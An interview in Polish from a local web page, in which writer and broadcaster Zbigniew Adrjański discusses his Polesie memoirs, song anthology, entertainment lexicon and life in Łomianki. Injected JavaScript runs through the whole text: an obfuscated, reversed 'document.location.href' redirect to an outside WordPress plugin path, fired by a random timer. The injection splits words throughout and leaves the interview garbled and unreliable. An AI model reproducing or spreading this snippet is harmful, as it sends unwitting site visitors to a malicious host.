Żubr kresowy

zubr-kresowy-1a.JPG Zbigniew Adrjański od lat mieszka w Łomiankach. Jest niezwykłą osobowością. O jego życiu, pracy, zainteresowaniach można by napisać książkę, nakręcić film. Niestety zbyt częstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zapominamy, że obok nas żyją i mieszkają osoby fascynujące, a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do takich należy zaliczyć naszego rozmówcę.

Urodził się w Brześciu nad Bugiem. Ukończył Wydział Filologii Uniwersytetu Warszawskiego. Jest dziennikarzem i pisarzem. Pracował w „Po prostu” i „Nowej wsi”. Współpracował z Polskim Radiem. Był twórcą słynnej Radiowej Giełdy Piosenki, redaktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torem naczelnym programów rozrywkowych w Telewizji Polskiej, dyrektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torem naczelnym i artystycznym Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tołecznej Estrady. Poza tym jest konferansjerem, reżyserem wielu programów i witoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowisk estratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowych, prezenterem radiowym i telewizyjnym. Napisał wielką antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tologię najpiękniejszych pieśni i piosenek, książkę z pogranicza muzyki, literatury, histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torii i folkloru pod tytułem „Złota Księga Pieśni Polskiej”, „Kalejtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doskop estratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowy” i ostatnio „Wspomnienia z Polesia”.

zubr-kresowy-3a.JPG Elżbieta Zawistoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towska: Zbyszku, po przeczytaniu twojego „Wspomnienia z Polesia” uważam, że jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to proza wieloznaczna. Niby wspomnienia, a jednak nie tylko, raczej zbiór gawęd, czasem facecji na wzór staropolskich, kresowych autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torów. Niektórzy porównują twój styl toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do wielkich nazwisk: Bułhakowa, Paustoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towskiego, Zoszczenki…

Zbigniew Adrjański: Miło posłuchać, ale z Bułhakowa znam tylko „Mistrza i Małgorzatę”. Lubię oczywiście Paustoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towskiego, Zoszczenkę, ale nie aż tak, żeby ich naślatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dować. Notabene słynny krytyk literacki Lew Klatenberg, gdy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowodził naczelną redakcją literacką Polskiego Radia, porównywał mojego „Batiuszkę” toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do opowiadań Leskowa. Nie wiedziałem, ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zacz ów Leskow. W końcu przeczytałem jego znakomite opowiadanie z dreszczykiem, ale nie znalazłem zbyt wielkich paraleli literackich. Pisarz z niego wielki i „kudy” mnie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do niego.

zubr-kresowy-2a.JPG E. Z.: Jako aktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torka muszę podkreślić walory teatralne, a szczególnie radiowe tej powieści.

Z. A.: Tak jakoś wyszło… Rzeczywiście jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to materiał na tak zwane słuchowisko. Moim zdaniem niezłe, jeśli się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doda w tle muzykę oraz rozpisze na głosy partie aktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torskie.

E. Z.: W twoich opowieściach nazwy miast, miasteczek i przysiółków, które częstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to cytujesz dla zabawy, brzmią jak muzyka.

Z. A.: Bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to była muzyka, gdy statek płynął po Horyniu albo Prypeci… Czy też konduktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor wykrzykiwał różne kresowe nazwy: Bereżce, Hajdamacki, Świstacze, Telechany.

E. Z.: Trochę toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wszystko brzmi jak opowieść o Atlantydzie…

Z. A.: Masz rację! Bo dawne Polesie – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już Atlantyda. Kontynent, który zaginął. Nagle na wschodzie Europy, ale przecież nie tak znowu daleko od jej centrum, ginie ogromny obszar, wielkości Belgii. Ginie charakterystyczna cywilizacja, kultura i pejzaż. Było Polesie i już go nie ma. Atlantyda może kiedyś zostanie odnaleziona. Polesia nikt już nie odnajdzie. Zostało przysypane stalinowskimi bultoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dożerami. Wdeptane w ziemię. Zmienione w betoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}ton. Zostały nam tylko wspomnienia. Ale i one odchodzą.

zubr-kresowy-4a.JPG E. Z.: Napisałeś jeszcze wspaniałe dzieło „Złotą Księgę Pieśni Polskich”, która przekroczyła granice naszego kraju. Czytają ją i uczą się patriotyzmu nasi rodacy zamieszkali w Kanadzie, Stanach Zjednoczonych, Australii. Takiej książki jeszcze nie było. Śpiewnik i monografia, a właściwie gawęda na temat dziejów pieśni i piosenki polskiej od „Bogurodzicy” toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do „Czerwonych Maków”. Dlaczego nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do naszych czasów?

Z. A.: Naszych czasów światoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domie unikam. Po roku 1945 jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to „świat w zupełnie innym stylu”. „Złota Księga Pieśni Polskiej” jest książką bardzo rodzinną w sensie osobistym. Dokumentacją tego, co śpiewała również moja własna rodzina, na dawnych kresach wschodnich. Do każdej z tych pieśni i piosenek toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dołączone są gawędy i komentarze.

zubr-kresowy-5a.JPG E. Z.: Nie uciekłeś jednak od współczesności. Napisałeś przecież „Kalejtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doskop Estratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowy”, leksykon polskiej rozrywki, mówiący o artystach i twórcach, osobowościach naszej estrady w latach 1944-1989. Z jaką spotkałeś się reakcją śrotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowiska na tę swoją ciężką benedyktyńską pracę.

Z. A.: Popełniłem błąd, robiąc leksykon. Niektórzy mają toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do mnie mnóstwo pretensji, że o jednych za dużo napisałem, o innych za mało. Artyści są nacją skomplikowaną psychicznie, skłonną toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do narcyzmu. Sama wiesz najlepiej. Przez tę książkę straciłem mnóstwo przyjaciół. Mimo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to „Kalejtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doskop Estratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowy” rozszedł się w okamgnieniu. Wiele osób chwali go za osobisty toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}ton. Jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zresztą

pierwszy leksykon estratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowy mówiący o artystach i twórcach tej dziedziny sztuki, a ponadtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ludzie uwielbiają czytać różne życiorysy.

E. Z.: Byłeś inicjatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torem i twórcą „Giełdy Piosenki”, która przekształciła się w znaną i lubianą imprezę radiową. Skończyłeś właśnie książkę o tym wydarzeniu. Czy byłaby możliwość zrobienia promocji tejże w Łomiankach? Do dzisiaj wielu naszych mieszkańców wspomina promocję „Złotej Księgi…” jako duże wydarzenie artystyczne i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarzyskie.

Z. A.: Z wielką przyjemnością zrobiłbym taką promocję w Łomiankach. Zaprosiłbym wielu artystów, o których napisałem, ale uzależniam toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to od chęci osób tu mieszkających, mam na myśli instytucje i firmy, które zechcą mi w tym pomóc. Sama wiesz zresztą, że promocja „Złotej Księgi” była świetnie zorganizowana dzięki zaangażowaniu wielu wspaniałych i życzliwych osób i firm.

E. Z.: Poza dużymi utworami jesteś także twór-cą małych form literackich, w tym piosenek. Współpracowałeś z takimi kompozytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torami jak Jerzy Abramowski, Lucjan Kaszycki, Piotr Figiel, Czesław Niemen, Seweryn Krajewski, z którym z nich najlepiej ci się pracowało?

Z. A.: Z Czesławem Niemenem, dla którego napisałem wiele piosenek, a „Płonie stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doła” stała się przebojem, z Jerzym Abratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towskim, z którym stworzyłem kilka piosenek dla Ludmiły Jakubczak, z Tadeuszem Woźniakowskim i ze zmarłym niedawno Jerzym Popławskim z „Niebiesko-Czarnych”. Najwięcej swoich utworów napisałem dla mojej żony Lucyny Arskiej.

E. Z.: Jesteś pomysłodawcą i współtwórcą wielu imprez, konkursów oraz festiwali, m.in. konkursu im. Stefana Wiecheckiego „Wiecha” na piosenkę o Warszawie, koncertów na „Trakcie Królewskim”, inicjatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torem obchodów 100-lecia polskiego cyrku. Jak można by ten twój ogromny potencjał wykorzystać dla naszej miejscowości?

Z. A.: Od dawna chętny jestem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do rozmów na ten temat. Łomianki stanowią przedłużenie Bielan, a tam przecież od dawien dawna odbywały się imprezy, pikniki, na które uczęszczała „stara Warszawa”. Łomianki są więc miejscem idealnym toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego celu. Powinien tu być jakiś teatr letni, być może amfiteatr nad Wisłą, miejsce rozrywki dla przybyszów z Warszawy.

E. Z.: Od wielu lat jesteś w bardzo udanym związku ze znaną pieśniarką Lucyną Arską. To rzadkość w naszym śrotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowisku. Jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to możliwe, że przeżyliście w takiej harmonii całe życie?

Z. A.: Należy o toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zapytać moją żonę Lucynę. To jej zasługa. Nie bądź „pani” taką „Drzyzgą”.

E. Z.: Sprawowałeś wiele odpowiedzialnych funkcji, byłeś dyrektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torem. Rządziłeś ludźmi, a zachowałeś ogromną wrażliwość osobistą i znakomite poczucie humoru…

Z. A.: Jestem człowiekiem rozproszonym. Moja struktura psychiczna nigdy nie paso-wała toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tych wszystkich zaszczytów i stanowisk. Wolę być samodzielnym twórcą.

E. Z.: Urodziłeś się na Polesiu nad Bugiem, teraz mieszkasz nad Wisłą, czy te krajobrazy mają ze sobą coś wspólnego?

Z. A.: Tak. Szczególnie krajobraz w okolicach Jeziora Dziekanowskiego i Czosnowa. Po sianokosach, kiedy stają stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}togi siana. Przypominają mi krainę mojego dzieciństwa. Wydaje mi się, że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to niewątpliwie miało wpływ na wybór naszego miejsca zamieszkania. Ja zresztą pochodzę z rodziny, która miała związki z wielką wodą. Dziadek mój był butoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}downiczym młynów wodnych i śluz na Prypeci, a ojciec inspektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torem dróg wodnych na siedem wschodnich województw. Po kądzieli miałem dziadka Holendra, który osiadł na Żuławach, a potem na Podlasiu, bo rzeki, a szczególnie tereny popowodziowe przypominały mu jego ojczyznę. Wiele moich pioenek powstało w tych stronach pod wpływem rozmaitych impulsów i przeżyć, a nawet chwil zadumy nad Wisłą, która w okolicach Łomianek jest niezwykle piękna.

E. Z.: Na przykład…

Z. A.: Trudno wyliczyć. Choćby piosenka dla Czesława Niemena „Mój pejzaż”, wiele piosenek dla Lucyny Arskiej, na przykład „Rzeka”, „Odlatują żurawie”. Pejzaż okolic Łomianek ma ogromny wpływ na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co piszę. Sprawie pejzażu mazowieckiego, tych okolic poświęcony był cały wielki koncert „Krajobrazy”, który napisałem, wyreżyserowałem i wystawiłem w Pałacu na Wodzie w Łazienkach. Wiele koncertów i witoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowisk napisałem specjalnie z myślą o Mazowszu, na którym obecnie mieszkam, ale faktu, że jestem po troszę i mazowieckim twórcą, władze obecnego Mazowsza nie zauważają.

E. Z.: W tym roku obchodzisz 50-lecie twórczości i działalności zawotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowej. Czego ci życzyć?

Z. A.: Zdrowia i życz mi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrego wydawcy, który zajmie się moimi nowymi książkami czekającymi na druk.

E. Z.: Z całego serca ci tego życzę i dziękuję za rozmowę.

js Opublikowane przez:

Bądź pierwszą osobą, która zostawi swój komentarz

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *